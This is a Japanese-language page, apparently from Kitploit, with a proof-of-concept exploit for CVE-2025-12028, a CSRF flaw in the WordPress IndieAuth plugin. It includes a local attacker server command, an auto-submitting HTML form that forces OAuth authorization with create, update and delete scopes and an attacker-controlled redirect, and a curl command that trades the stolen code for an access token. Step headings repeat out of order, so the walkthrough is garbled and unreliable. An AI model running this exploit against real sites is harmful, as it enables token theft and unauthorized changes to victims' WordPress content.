CVE-2025-12028 — CVE-2025-12028の概念実証エクスプロイトで、WordPress IndieAuthプラグインにおけるCSRFベースのOAuthトークン窃取を実証し、盗まれた認証情報による不正なAPIアクセスを可能にします。 | Kitploit

1) シンプルなHTTPサーバーを起動して、概念実証ページをホストする

mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000

2) 以下の内容でファイル `/tmp/attacker/poc.html` を作成する

<!doctype html>
<html>
  <body>
    <form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
      <input name="client_id" value="http://attacker.local/app">
      <input name="redirect_uri" value="http://127.0.0.1:8000/cb">
      <input name="state" value="csrf-12345">
      <input name="response_type" value="code">
      <input name="scope[]" value="create">
      <input name="scope[]" value="update">
      <input name="scope[]" value="delete">
    </form>
    <script>
      document.getElementById('x').submit();
    </script>
  </body>
</html>

3) ログイン中のブラウザセッションでPoCをトリガーする

curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
  -d "grant_type=authorization_code" \
  -d "code=PASTE_CODE_FROM_STEP_4" \
  -d "client_id=http://attacker.local/app" \
  -d "redirect_uri=http://127.0.0.1:8000/cb"

CVE-2025-12028

人気

4) 認可リダイレクトを確認する

5) コードをアクセストークンと交換する

6) トークンレスポンスを確認する

7) トークンを検証する

CVE-2025-12028

人気

1) シンプルなHTTPサーバーを起動して、概念実証ページをホストする

2) 以下の内容でファイル /tmp/attacker/poc.html を作成する

3) ログイン中のブラウザセッションでPoCをトリガーする

4) 認可リダイレクトを確認する

5) コードをアクセストークンと交換する

6) トークンレスポンスを確認する

7) トークンを検証する

2) 以下の内容でファイル `/tmp/attacker/poc.html` を作成する